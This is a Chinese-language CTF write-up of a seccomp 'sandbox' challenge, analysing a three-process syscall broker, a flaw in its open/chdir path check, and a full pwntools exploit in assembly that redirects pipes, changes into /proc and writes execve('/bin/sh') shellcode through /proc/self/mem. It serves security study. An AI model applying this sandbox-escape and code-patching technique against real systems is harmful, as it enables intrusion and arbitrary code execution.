Tags: /proc/self/mem,seccomp,shellcode
前言
做 seccomp 相關(guān)題目遇到的一個(gè)題目, 利用方式很有意思, 第一次見(jiàn): 通過(guò) 修改 /proc/self/mem 可以修改不可寫(xiě)的代碼段. 第一次見(jiàn), 記錄一下.
題目分析
邏輯有點(diǎn)復(fù)雜, 我可能表述的也不是太清楚, 僅供參考, 最好還是自己逆一下.
這個(gè)題目通過(guò) fork 和 clone 整出了三個(gè)進(jìn)程, 我們以 parent, sec, unsec 來(lái)表示它們.
進(jìn)程之間是通過(guò) 管道和 mmap 的內(nèi)存進(jìn)行通信的
- pipe 了三個(gè) 管道. 因?yàn)?pipe 會(huì)優(yōu)先使用最小的 fd, 所以pipe 得到的fd 是可以預(yù)測(cè)的. 三個(gè)進(jìn)程間使用的管道的 fd 的情況如下圖:
-
mmap 了兩塊內(nèi)存, 用 mmap1 mmap2 表示它們
- mmap1 的權(quán)限是 rwx,
- mmap2 在 sec 和 unsec 中是 只讀的, 在 parent 中是 rwx的
- mmap2 和 mmap1 相鄰 且 mmap2 在 mmap1 低地址處.
pwndbg> vmmap
...
0x7ffff7ff6000 0x7ffff7ff7000 r-xp 1000 0 // mmap2
0x7ffff7ff7000 0x7ffff7ff8000 rwxp 1000 0 // mmap1
...
然后分析三個(gè)進(jìn)程各自的工作流程
-
unsec
首先設(shè)置 seccomp 為 strict 模式, 只能執(zhí)行 read(2), write(2), _exit(2) 這三個(gè)系統(tǒng)調(diào)用
然后讀取并執(zhí)行 shellcode, shellcode 的長(zhǎng)度沒(méi)有限制.
雖然通過(guò)shellcode 只能執(zhí)行 read, write, exit 三個(gè)系統(tǒng)調(diào)用, 但是可以通過(guò) parent 和 sec 執(zhí)行其它的一些系統(tǒng)調(diào)用:
- 將系統(tǒng)調(diào)用號(hào)和參數(shù)放到 mmap1 中, 然后 通過(guò)管道往 parent 端寫(xiě)一個(gè)字節(jié) (發(fā)送 "信號(hào)")
- 使用 sys_read 阻塞在 sec 和 unsec 的管道的read end, 等待 sec 執(zhí)行完 syscall 發(fā) "信號(hào)" 過(guò)來(lái)
- syscall 的返回值 存在 全局變量中
-
parent
阻塞在 read(3, buf, 1) 這個(gè)系統(tǒng)調(diào)用, 等待 unsec 發(fā)來(lái)"信號(hào)". read返回之后會(huì) 從 mmap1 讀取系統(tǒng)調(diào)用的參數(shù)等信息. parent 有一個(gè)白名單 (0x0401800), 遇到不在其中的系統(tǒng)調(diào)用會(huì)直接退出程序. open 和 chdir 雖然在白名單中, 但是 parent 還會(huì)校驗(yàn)他們的參數(shù)(0x0400D30): 路徑中不能包含dev, proc, sys.
如果通過(guò)了校驗(yàn)就會(huì)把 mmap1 中的參數(shù) 復(fù)制到 mmap2 中, 然后通過(guò)管道往 sec 寫(xiě)一個(gè)字節(jié)
-
sec
sec 是完全由匯編編寫(xiě)的. 任務(wù)就是執(zhí)行 syscall
阻塞在 read(3, buf, 1) 這個(gè)系統(tǒng)調(diào)用, 等待 parent 的 "信號(hào)", read 返回之后
- 會(huì)從 mmap2 讀取系統(tǒng)調(diào)用的參數(shù), 然后執(zhí)行系統(tǒng)調(diào)用,
- 將系統(tǒng)調(diào)用的返回結(jié)果寫(xiě)到 一個(gè)全局變量中
- 通過(guò)管道往 unsec 發(fā)送一個(gè) "信號(hào)"
程序提供了一個(gè) 供 unsec 進(jìn)行系統(tǒng)調(diào)用的函數(shù),可以在 shellcode 中使用
__int64 __fastcall unsec_do_syscall(int a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7)
{
__int64 v7; // rax
int parent; // edi
__int64 result; // rax
char v10; // [rsp+0h] [rbp-18h]
v7 = g_mmap1_rwx;
*(_QWORD *)(g_mmap1_rwx + 0x10) = a3;
*(_DWORD *)v7 = a1;
parent = unsec_to_parent;
*(_QWORD *)(v7 + 8) = a2;
*(_QWORD *)(v7 + 0x18) = a4;
*(_QWORD *)(v7 + 0x30) = a7;
*(_QWORD *)(v7 + 0x20) = a5;
*(_QWORD *)(v7 + 0x28) = a6;
v10 = 0;
if ( write(parent, &v10, 1uLL) != 1 )
{
write(2, "unable to request syscall\n", 0x1AuLL);
_exit(1);
}
if ( read(unsec_from_sec, &v10, 1uLL) != 1 )
{
write(2, "unable to wait for syscall completion\n", 0x26uLL);
_exit(1);
}
if ( v10 )
_exit(1);
result = syscall_result;
g_offset = 0LL;
return result;
}
漏洞分析
漏洞在校驗(yàn) chdir 和 open 的參數(shù)的函數(shù)中
signed __int64 __fastcall open_chdir_cb(struct syscall_regs *a1)
{
struct syscall_regs *v1; // rbx
char *_path; // rax
char *v3; // rdx
signed __int64 v4; // rdi
char v5; // cl
char v7[4104]; // [rsp+0h] [rbp-1028h]
unsigned __int64 v8; // [rsp+1008h] [rbp-20h]
v1 = a1;
v8 = __readfsqword(0x28u);
_path = (char *)a1->_rdi;
if ( (unsigned __int64)_path < g_mmap1_rwx )
return 0LL;
v3 = (char *)(g_mmap1_rwx + 0x1000);
if ( (unsigned __int64)_path >= g_mmap1_rwx + 0x1000 )
return 0LL;
v7[0] = *_path;
if ( v7[0] ) // copy to stack
{
v4 = v7 - _path;
while ( v3 != ++_path )
{
v5 = *_path;
_path[v4] = *_path;
if ( !v5 )
goto LABEL_7;
}
return 0LL;
}
LABEL_7:
if ( strstr(v7, "dev") )
return 0LL;
if ( strstr(v7, "proc") || strstr(v7, "sys") )
return 0LL;
strcpy((char *)g_mmap2_child_ro + 0x38, v7); // overflow
v1->_rdi = (unsigned __int64)g_mmap2_child_ro + 0x38;
return 1LL;
}
可以看到一個(gè)明顯的溢出點(diǎn). 我們甚至不需要溢出.
假設(shè)我們進(jìn)行如下操作
- 構(gòu)造一個(gè) chdir 系統(tǒng)調(diào)用, rdi 指向 mmap1+0x30, 并將mmap1+0x30 至 mmap1+0x1000-8 中填充滿(mǎn)字符 "/", mmap1+0x1000-8 至 mmap1 + 0x1000 填充字符 "\x00"
- 然后 通過(guò)管道往 parent 發(fā)送 "信號(hào)". 顯然我們可以通過(guò)校驗(yàn), parent 會(huì)將參數(shù)復(fù)制到 mmap2 中, rdi 指向 mmap2 + 0x38, mmap2+0x38 至 mmap2+0x1000 之間都會(huì)填滿(mǎn) "/", 然后parent 會(huì)往 sec 發(fā)送 "信號(hào)" 讓 sec 執(zhí)行 syscall
- 我們?nèi)绻梢栽?sec 執(zhí)行 syscall 之前將 mmap1 地址處的字符串 修改為 proc\x00, 因?yàn)?mmap2 和 mmap1 是相鄰的, 所以sec中就會(huì)執(zhí)行 chdir("http:////////.......//////proc") 我們就可以 cd 到 /proc
- 然后我們就可以通過(guò)修改 /proc/self/mem 來(lái)修改 代碼段為 shellcode了.
而且我們甚至也不需要使用條件競(jìng)爭(zhēng).
我們通過(guò) pipe 新生成一個(gè)管道, 并使用 dup2 把 parent to sec 的管道 read end 給覆蓋掉. (這兩個(gè)系統(tǒng)調(diào)用都在白名單中) 我們就可以在 unsec 中給 sec 發(fā)送系統(tǒng)調(diào)用來(lái)隨時(shí)讓 sec 執(zhí)行系統(tǒng)調(diào)用了.
思路有了, 那就寫(xiě) exp 唄
寫(xiě) exp 過(guò)程中免不了調(diào)試的...... 這種多進(jìn)程+多線(xiàn)程調(diào)試還是有些麻煩的.
首先 attach 是不行的, attach的話(huà)只能調(diào)試 parent 這個(gè)進(jìn)程. 所以得直接用 gdb啟動(dòng), 不能用 process
io = gdb.debug(args=["./sandbox"], gdbscript="set follow-fork-mode child\nb *0x400BE0")
io.sendafter(" end with 8x NOP ", asm(sc)+"\x90"*8)
線(xiàn)程之間切換倒是很方便, 直接用 thread 命令就行了.
exp
匯編寫(xiě)的頭禿.......
#coding:utf-8
from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# sc = open("./sc.asm", "r").read()
sc = """#define unsec_do_syscall 0x04010C0
#define bss 0x603000
#define fds 0x603200
#define g_buf 0x00603128
#define unsec_to_parent_w 4
#define unsec_to_sec_w 6
#define parent_to_sec_r_dup 233
#define sec_to_unsec_r 7
#define mmap1 0x603158
jmp start
get_addr:
call get_addr2
get_addr2:
mov rax, [rsp]
sub rsp, 0x10
jmp get_addr_ret
shellcode:
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
mov rsp, 0x603800
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push 'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
start:
/* dup fd parent_to_sec_readend, so parent's write to pipe won't fail */
call clear_regs
mov r13, unsec_do_syscall
mov rdi, 33 /* dup2 */
mov rsi, 5
mov rdx, parent_to_sec_r_dup
call r13
/* init a new pipe to be used by unsec to sec */
call clear_regs
mov r13, unsec_do_syscall
mov rdi, 22 /* sys_pipe */
mov rsi, fds
call r13
/* fds = {3, 6} */
/* dup new fd to old parent_to_sec_readend (5), then we can control sec to do syscall */
call clear_regs
mov r13, unsec_do_syscall
mov rdi, 33 /* dup2 */
mov rsi, fds
mov esi, [rsi] /* new fd read end */
mov rdx, 5 /* old parent_to_sec_readend fd */
call r13
/* chdir to /proc */
/* fill mmap1 with '/' first */
mov rax, 0x2f2f2f2f2f2f2f2f
/* # define mmap1 0x603158 */
mov rdi, mmap1
mov rdi, [rdi]
mov rcx, (4096/8)
rep stosq
mov rdi, mmap1
mov rdi, [rdi]
lea rdi, [rdi + 0x1000-8]
mov qword ptr [rdi], 0 /* terminat with \x00 vali vali important !!!*/
/* now signal parent to copy args */
call clear_regs
mov eax, 80 /* sys_chdir */
mov rdi, mmap1
mov rdi, [rdi]
lea rdi, [rdi+0x30]
mov r9, 0x2f2f2f2f2f2f2f2f
call new_do_syscall_p1
/* append tail and signal sec thread to do syscall */
mov r11, [mmap1]
mov qword ptr [r11], 0x636f7270 /* \x00\x00\x00\x00proc */
call new_do_syscall_p2
/*rax = 0 should means that now we are in /proc */
/* open(file='self/mem', oflag=2, mode=0) */
/* push 'self/mem\x00' */
mov rdi, [mmap1]
mov rsi, 0x6d656d2f666c6573
mov [rdi+0x38], rsi
xor rsi, rsi
mov [rdi+0x40], rsi
lea rdi, [rdi+0x38]
xor edx, edx /* 0 */
mov rsi, 2 /* O_RDWR */
/* call open() */
mov rax, 2 /* SYS_open */
call new_do_syscall
#define fd_of_proc_self_mem_addr bss + 0x400
mov rdi, fd_of_proc_self_mem_addr
mov [rdi], rax
#define sec_block_read 0x0000000000401637
/* lseek(fd='rax', offset=sec_block_read, whence='SEEK_SET') */
mov rdi, rax
mov esi, sec_block_read
xor edx, edx /* SEEK_SET */
/* call lseek() */
mov rax, 8 /* SYS_lseek */
call new_do_syscall
/* get shellcode addr */
call get_addr
get_addr_ret: /*0x7ffff7ff5180 */
/* now rax is get_addr2's addr */
add rax, 0x10 /*0x7ffff7ff5185 */
mov rdi, fd_of_proc_self_mem_addr
mov rdi, [rdi]
mov rsi, rax
mov rdx, 0x80
mov rax, 1
call new_do_syscall
/* after pipe() and dup(), we are unable to use unsec_do_syscall function,
so we neeed to implement our own do syscall funtion */
#define syscall_result_addr 0x603138
new_do_syscall:
call new_do_syscall_p1
call new_do_syscall_p2
ret
/* 1. put args to mmap1
2. signal parent to copy args
3. wait parent's copy done */
new_do_syscall_p1:
/* mov args to mmap1 */
mov r11, mmap1
mov r11, [r11]
mov [r11], rax
mov [r11+8], rdi
mov [r11+0x10], rsi
mov [r11+0x18], rdx
mov [r11+0x20], r10
mov [r11+0x28], r8
mov [r11+0x30], r9
/* use pip to signal parent */
mov rdi, unsec_to_parent_w
mov rsi, g_buf /* buf, readable */
mov rdx, 1 /* n */
mov eax, 1 /* write */
syscall
/* then parent should copy args to mmap2m, we should wait the signal on the dup fd*/
mov rdi, parent_to_sec_r_dup
mov rsi, g_buf
mov rdx, 1
mov eax, 0 /* sys_read */
syscall
ret
/* 1. signal sec thread to do syscall
2. wait sec thread syscall done
3. mov syscall result to rax and return */
new_do_syscall_p2:
/* then we need to use pipe to signal thread_sec to do syscall */
mov rdi, unsec_to_sec_w
mov rsi, g_buf /* buf, readable */
mov rdx, 1 /* n */
mov eax, 1 /* write */
syscall
/* then wait on the pipe. sec will signal unsec when syscall is done */
mov rdi, sec_to_unsec_r
mov rsi, g_buf
mov rdx, 1
mov eax, 0 /* sys_read */
syscall
/* afterall, mov syscall result to rax */
mov rax, [syscall_result_addr]
ret
clear_regs:
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx
xor rcx, rcx
xor r8, r8
xor r9, r9
ret
"""
# io = gdb.debug(args=["./sandbox"], gdbscript="set follow-fork-mode child\nb *0x400c2d\nb *0x400D30")
io = process("./sandbox")
io.sendafter(" end with 8x NOP ", asm(sc)+"\x90"*8)
io.interactive()
總結(jié)
竟然還有通過(guò)寫(xiě) /proc/self/mem 來(lái)修改代碼段的這種騷操作. 第一次見(jiàn), 學(xué)習(xí)了.
Appendix A : 參考
[1] http://tukan.farm/2016/01/13/32C3-CTF-sandbox-writeup/
[2] https://www.cnblogs.com/xuxm2007/archive/2011/04/01/2002162.html
[3] https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/sandbox-300